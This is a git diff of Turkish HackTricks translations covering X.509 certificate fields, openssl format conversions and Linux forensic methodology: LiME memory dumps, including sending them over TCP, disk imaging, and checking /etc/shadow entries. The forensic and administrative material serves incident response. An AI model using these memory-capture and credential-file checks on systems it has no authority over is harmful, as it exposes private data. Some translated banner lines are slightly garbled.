+* **x509v3 uzantıları**, sertifikanın işlevselliğini artırır, **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ayarlamak için diğer özellikleri belirtir.
#### **Anahtar Kullanımı ve Uzantılar**
-- **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını, dijital imza veya anahtar şifreleme gibi, tanımlar.
-- **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır, örneğin TLS sunucusu kimlik doğrulaması için.
-- **Alternatif Konu Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA veya son varlık sertifikası olup olmadığını tanımlar.
-- **Konu Anahtar Tanımlayıcısı** ve **Yetkilendirme Anahtar Tanımlayıcısı**, anahtarların benzersizliğini ve izlenebilirliğini sağlar.
-- **Yetkilendirme Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak ve sertifika iptal durumunu kontrol etmek için yol sağlar.
-- **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar.
+* **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını tanımlar, örneğin dijital imza veya anahtar şifreleme.
+* **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım alanlarını daha da daraltır, örneğin TLS sunucu kimlik doğrulaması için.
+* **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son kullanıcı sertifikası mı olduğunu belirler.
+* **Konu Anahtar Kimliği** ve **Yetki Anahtar Kimliği**, anahtarların benzersizliğini ve izlenebilirliğini sağlar.
+* **Yetki Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak için yollar sağlar ve sertifika iptal durumunu kontrol etmek için yollar sağlar.
+* **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -76,11 +76,11 @@ print(f"Public Key: {public_key}")
```
### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark**
-**OCSP** (**RFC 2560**), bir dijital genel anahtar sertifikasının iptal edilip edilmediğini kontrol etmek için bir istemci ve bir yanıtlayıcının birlikte çalıştığı bir yöntemdir ve tam **CRL**'yi indirmeye gerek duymaz. Bu yöntem, potansiyel olarak büyük bir dosya indirmeyi gerektiren, iptal edilen sertifika seri numaralarının bir listesini sağlayan geleneksel **CRL**'den daha verimlidir. CRL'ler 512 girişe kadar içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) bulunabilir.
+**OCSP** (**RFC 2560**), bir istemci ve yanıtlayıcının birlikte çalışarak dijital genel anahtar sertifikasının iptal edilip edilmediğini kontrol etmesini sağlar, tam **CRL**'yi indirmeye gerek olmadan. Bu yöntem, potansiyel olarak büyük bir dosyayı indirmeyi gerektiren geleneksel **CRL**'den daha verimlidir. CRL'ler en fazla 512 giriş içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Sertifika Şeffaflığı Nedir**
-Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılar tarafından görülebilir olmasını sağlayarak sertifika ile ilgili tehditlerle mücadele etmeye yardımcı olur. Aşağıdaki hedeflere sahiptir:
+Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılara görünür olmasını sağlayarak sertifika ile ilgili tehditlerle mücadeleye yardımcı olur. Amaçları şunlardır:
* CA'ların alan sahibinin bilgisi olmadan bir alan için SSL sertifikaları vermesini engellemek.
* Yanlışlıkla veya kötü niyetle verilen sertifikaları izlemek için açık bir denetim sistemi oluşturmak.
@@ -88,184 +88,108 @@ Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının ala
#### **Sertifika Kayıtları**
-Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkes tarafından denetlenebilir, sadece ekleme yapılan sertifikaların kayıtlarıdır. Bu kayıtlar, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de kamu, bu kayıtlara sertifikaları sunabilir veya sorgulayabilir. Kayıt sunucularının tam sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, ISS'ler veya ilgilenen herhangi bir kuruluş tarafından bağımsız olarak yönetilebilir.
+Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu kayıtlar denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu kayıtlara sertifikaları gönderebilir veya doğrulama için sorgulayabilir. Log sunucularının tam sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, İSP'ler veya ilgili herhangi bir kuruluş tarafından bağımsız olarak yönetilebilir.
#### **Sorgu**
Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin.
-Sertifikaları depolamak için farklı formatlar mevcuttur, her birinin kendi kullanım durumları ve uyumlulukları vardır. Bu özet, ana formatları kapsar ve bunlar arasında dönüştürme konusunda rehberlik sağlar.
-
## **Formatlar**
### **PEM Formatı**
-- Sertifikalar için en yaygın kullanılan formattır.
-- Sertifikaları ve özel anahtarları ayrı dosyalarda gerektirir, Base64 ASCII ile kodlanmıştır.
-- Yaygın uzantılar: .cer, .crt, .pem, .key.
-- Apache ve benzeri sunucular tarafından başlıca kullanılır.
+
+* Sertifikalar için en yaygın kullanılan formattır.
+* Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır.
+* Yaygın uzantılar: .cer, .crt, .pem, .key.
+* Başta Apache olmak üzere benzer sunucular tarafından kullanılır.
### **DER Formatı**
-- Sertifikaların ikili bir formattır.
-- PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez.
-- Yaygın uzantılar: .cer, .der.
-- Genellikle Java platformlarıyla kullanılır.
+
+* Sertifikaların ikili bir formatıdır.
+* PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez.
+* Yaygın uzantılar: .cer, .der.
+* Genellikle Java platformlarıyla kullanılır.
### **P7B/PKCS#7 Formatı**
-- Base64 ASCII ile depolanır, .p7b veya .p7c uzantılarına sahiptir.
-- Sadece sertifikaları ve zincir sertifikalarını, özel anahtarı hariç tutar.
-- Microsoft Windows ve Java Tomcat tarafından desteklenir.
+
+* Base64 ASCII ile depolanır, .p7b veya .p7c uzantılarına sahiptir.
+* Yalnızca sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar.
+* Microsoft Windows ve Java Tomcat tarafından desteklenir.
### **PFX/P12/PKCS#12 Formatı**
-- Sunucu sertifikalarını, ara sertifikalarını ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır.
-- Uzantılar: .pfx, .p12.
-- Genellikle sertifika alma ve alma işlemleri için Windows'ta kullanılır.
-### **Formatları Dönüştürme**
+* Sunucu sertifikalarını, ara sertifikaları ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır.
+* Uzantılar: .pfx, .p12.
+* Genellikle Windows'ta sertifika içe ve dışa aktarma işlemleri için kullanılır.
-Uyumluluk için **PEM dönüşümleri** önemlidir:
+### **Format Dönüşümleri**
-- **x509'tan PEM'e**
+**PEM dönüşümleri**, uyumluluk için önemlidir:
+
+* **x509'tan PEM'e**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
-- **PEM'den DER'e**
-
-PEM formatındaki bir sertifikayı DER formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
-
-1. İlk olarak, PEM formatındaki sertifikayı bir metin düzenleyiciyle açın.
-2. Sertifikanın başında "-----BEGIN CERTIFICATE-----" ve sonunda "-----END CERTIFICATE-----" ifadelerini bulun.
-3. Bu ifadeler arasındaki tüm metni kopyalayın ve yeni bir metin dosyasına yapıştırın.
-4. Dosyayı ".pem" uzantısıyla kaydedin.
-5. Ardından, OpenSSL aracını kullanarak PEM dosyasını DER formatına dönüştürebilirsiniz. Aşağıdaki komutu kullanarak dönüşümü gerçekleştirebilirsiniz:
-
- ```bash
- openssl x509 -in example.pem -out example.der -outform DER
- ```
-
- Burada "example.pem" dönüştürmek istediğiniz PEM dosyasının adıdır ve "example.der" ise çıktı olarak almak istediğiniz DER dosyasının adıdır.
-
-6. Dönüştürme işlemi tamamlandıktan sonra, DER formatındaki sertifikayı kullanabilirsiniz.
+* **PEM'i DER'e dönüştürme**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
-- **DER'den PEM'e**
-
-DER formatındaki bir sertifikayı PEM formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
-
-1. DER formatındaki sertifikayı bir metin düzenleyiciyle açın.
-2. Sertifika içeriğini kopyalayın ve yeni bir metin dosyasına yapıştırın.
-3. Dosyayı `.cer` veya `.der` uzantısıyla kaydedin.
-4. OpenSSL aracını kullanarak DER formatındaki sertifikayı PEM formatına dönüştürün. Aşağıdaki komutu kullanabilirsiniz:
-
- ```plaintext
- openssl x509 -inform der -in certificate.cer -out certificate.pem
- ```
-
- Burada `certificate.cer`, kaydettiğiniz DER formatındaki sertifika dosyasının adıdır.
-5. Dönüştürülen PEM formatındaki sertifikayı kullanabilirsiniz.
+* **DER'den PEM'e**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
-- **PEM'dan P7B'ye**
-
-PEM formatındaki bir sertifikayı P7B formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
-
-1. OpenSSL aracını kullanarak PEM dosyasını P7B formatına dönüştürmek için aşağıdaki komutu çalıştırın:
-
- ```plaintext
- openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b -certfile ca.pem
- ```
-
- - `certificate.pem`: Dönüştürmek istediğiniz PEM dosyasının adı.
- - `certificate.p7b`: Dönüştürülen P7B dosyasının adı.
- - `ca.pem`: Kök sertifikaların bulunduğu PEM dosyasının adı (isteğe bağlı).
-
-2. Komutu çalıştırdıktan sonra, PEM dosyası P7B formatına dönüştürülecektir. Dönüştürülen P7B dosyasını kullanabilirsiniz.
-
-Bu adımları takip ederek, PEM formatındaki bir sertifikayı P7B formatına dönüştürebilirsiniz.
+* **PEM'den P7B'ye**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
-- **PKCS7'yi PEM'e dönüştürme**
+* **PKCS7'yi PEM'e dönüştürme**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
-**PFX dönüşümleri**, Windows üzerinde sertifikaları yönetmek için önemlidir:
+**PFX dönüşümleri**, Windows üzerinde sertifikaları yönetmek için hayati öneme sahiptir:
-- **PFX'ten PEM'e**
+* **PFX'ten PEM'e**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
-- **PFX'i PKCS#8'e dönüştürme** iki adımdan oluşur:
-1. PFX'i PEM'e dönüştürün.
+* **PFX to PKCS#8** iki adımdan oluşur:
+1. PFX'i PEM'e dönüştürün
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
-2. PEM'i PKCS8'e dönüştürmek
-
-PEM formatındaki bir sertifikayı PKCS8 formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
-
-1. OpenSSL aracını kullanarak PEM dosyasını açın:
- ```plaintext
- openssl rsa -in key.pem -outform PEM -out key.pem
- ```
-
-2. PEM dosyasını PKCS8 formatına dönüştürün:
- ```plaintext
- openssl pkcs8 -topk8 -inform PEM -outform DER -in key.pem -out key.pk8 -nocrypt
- ```
-
-Bu adımları takip ederek PEM formatındaki bir sertifikayı PKCS8 formatına dönüştürebilirsiniz.
+2. PEM formatındaki dosyayı PKCS8 formatına dönüştürün.
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
-- **P7B'yi PFX'e** dönüştürmek için iki komut gereklidir:
+* **P7B'yi PFX'e** dönüştürmek için iki komut gereklidir:
1. P7B'yi CER'ye dönüştürün.
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-2. CER ve Özel Anahtarı PFX'e Dönüştürme
-
-Bir sertifika (.cer) ve özel anahtarını (.key) PFX formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
-
-1. OpenSSL'i kullanarak bir PFX dosyası oluşturmak için aşağıdaki komutu çalıştırın:
-
- ```plaintext
- openssl pkcs12 -export -in certificate.cer -inkey privatekey.key -out certificate.pfx
- ```
-
- - `certificate.cer`: Dönüştürmek istediğiniz sertifika dosyasının adını ve yolunu belirtin.
- - `privatekey.key`: Dönüştürmek istediğiniz özel anahtar dosyasının adını ve yolunu belirtin.
- - `certificate.pfx`: Oluşturulacak PFX dosyasının adını ve yolunu belirtin.
-
-2. Komutu çalıştırdıktan sonra, OpenSSL sizden bir PFX parolası girmenizi isteyecektir. Bu parolayı hatırlayın, çünkü PFX dosyasını kullanırken gerekecektir.
-
-3. Parolayı girdikten sonra, OpenSSL PFX dosyasını oluşturacak ve belirttiğiniz ad ve yol ile kaydedecektir.
-
-Artık CER ve özel anahtarınızı PFX formatında kullanabilirsiniz.
+2. CER ve Özel Anahtarı PFX'e Dönüştürün
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahraman olacak şekilde AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family)
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md
index 68db69ef9..652c00243 100644
--- a/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,37 +1,37 @@
-# Linux Dijital Delil İncelemesi
+# Linux Adli Bilişim
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** ile desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'i **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-## İlk Bilgi Toplama
+## Başlangıç Bilgi Toplama
### Temel Bilgiler
-İlk olarak, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevre değişkenlerini bu ikilileri kullanacak şekilde değiştirin:
+İlk olarak, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevre değişkenlerini değiştirerek bu ikilileri kullanın:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-Sistem ayarlarını iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra, **bazı temel bilgileri çıkarmaya** başlayabilirsiniz:
+Bir kez sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra **bazı temel bilgileri çıkarmaya** başlayabilirsiniz:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -51,45 +51,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Şüpheli bilgiler
-Temel bilgileri elde ederken şunları kontrol etmelisiniz:
+Temel bilgileri elde ederken şu tür garip şeyleri kontrol etmelisiniz:
-* **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz.
-* `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin.
-* Kabuğu olmayan kullanıcıların **şifre hash'lerini** `/etc/shadow` içinde kontrol edin.
+- **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz
+- `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin
+- `/etc/shadow` içinde kabuğu olmayan kullanıcılar için **şifre hash'lerini** kontrol edin
### Bellek Dökümü
Çalışan sistemin belleğini elde etmek için [**LiME**](https://github.com/504ensicsLabs/LiME) kullanmanız önerilir.\
-Onu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir.
+Bunu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir.
{% hint style="info" %}
-Unutmayın ki, kurban makineye LiME veya başka bir şey **kuramazsınız**, çünkü bunlar birçok değişiklik yapacaktır.
+Kurban makineye **LiME veya başka bir şey kuramayacağınızı** unutmayın, çünkü bu makineye çeşitli değişiklikler yapacaktır
{% endhint %}
Bu yüzden, Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\
-Diğer durumlarda, [**LiME**'yi](https://github.com/504ensicsLabs/LiME) github'dan indirmeniz ve doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **kesin çekirdek başlıklarını** elde etmek için, sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayın ve ardından onları kullanarak LiME'yi **derleyin**:
+Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayıp makinenize yapıştırabilir ve ardından bunları kullanarak LiME'ı **derleyebilirsiniz**:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
-LiME 3 **formatı** destekler:
+LiME, 3 **formatı** destekler:
-* Ham (her segment birleştirilmiş)
-* Dolgulu (ham ile aynı, ancak sağ bitlerde sıfır ile doldurulmuş)
+* Ham (her segment bir araya getirilir)
+* Dolgulu (ham ile aynı, ancak sağ bitlerde sıfırlarla)
* Lime (metadata ile birlikte önerilen format)
-LiME ayrıca, bunun yerine **dökümü ağ üzerinden göndermek** için kullanılabilir, örneğin: `path=tcp:4444`
+LiME ayrıca, dump'ı **sistemde depolamak yerine ağ üzerinden göndermek** için şöyle bir şey kullanılabilir: `path=tcp:4444`
### Disk Görüntüleme
#### Kapatma
-Öncelikle, **sistemi kapatmanız** gerekecektir. Bu her zaman bir seçenek olmayabilir, çünkü sistem bazen şirketin kapatamayacağı bir üretim sunucusu olabilir.\
-Sistemi kapatmanın **2 yolu** vardır, biri **normal kapatma** diğeri ise **"fişi çekme" kapatması**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda **mümkün olan kötü amaçlı yazılımın delilleri yok etmesine** de izin verecektir. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **kötü amaçlı yazılımın buna karşı yapabileceği bir şey olmayacaktır**. Bu nedenle, bir **kötü amaçlı yazılım** olabileceğinden şüpheleniyorsanız, sistemin üzerinde **`sync`** **komutunu** çalıştırın ve fişi çekin.
+Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü sistem bazen kapatılamayacak kadar önemli bir sunucu olabilir.\
+Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
-#### Diskin bir görüntüsünü almak
+#### Diskten bir görüntü almak
-Önemli bir nokta, **bilgisayarınızı dava ile ilgili herhangi bir şeye bağlamadan önce**, bilginin değiştirilmesini önlemek için **salt okunur olarak bağlanacağınızdan emin olmanız gerektiğidir**.
+Bilgisayarınızı **dava ile ilgili herhangi bir şeye bağlamadan önce**, bilginin değiştirilmesini önlemek için **salt okunur olarak bağlanacağınızdan emin olmanız önemlidir**.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -153,40 +153,39 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Bilinen Kötü Amaçlı Yazılımları Arama
+## Bilinen Kötü Amaçlı Yazılımları Arayın
### Değiştirilmiş Sistem Dosyaları
-Linux, potansiyel sorunlu dosyaları tespit etmek için sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar.
+Linux, potansiyel sorunlu dosyaları tespit etmek için kritik sistem bileşenlerinin bütünlüğünü sağlama konusunda araçlar sunar.
-- **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın.
-- **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından herhangi bir sorunu belirlemek için `debsums | grep -v "OK$"` (apt-get install debsums ile `debsums`'ı yükledikten sonra) kullanın.
+* **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın.
+* **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` ( `apt-get install debsums` ile `debsums`'ı yükledikten sonra) ile herhangi bir sorunu belirlemek için kullanın.
-### Kötü Amaçlı Yazılım/Kökkit Tespit Araçları
+### Kötü Amaçlı Yazılım/Rootkit Tespitçileri
-Kötü amaçlı yazılım bulmak için kullanışlı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun:
+Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
-## Yüklenmiş Programları Arama
+## Yüklenmiş Programları Arayın
-Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için, sistem günlüklerini ve veritabanlarını yanı sıra ortak dizinlerde manuel kontrol yapmayı düşünebilirsiniz.
+Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrolle birlikte kullanmayı düşünün.
-- Debian için, paket kurulumları hakkında ayrıntıları almak için **_`/var/lib/dpkg/status`_** ve **_`/var/log/dpkg.log`_** dosyalarını inceleyin ve belirli bilgileri filtrelemek için `grep` kullanın.
+* Debian için, paket yüklemeleri hakkında ayrıntıları almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını inceleyin, belirli bilgileri filtrelemek için `grep` kullanın.
+* RedHat kullanıcıları, yüklü paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir.
-- RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` komutunu kullanarak RPM veritabanını sorgulayabilirler.
-
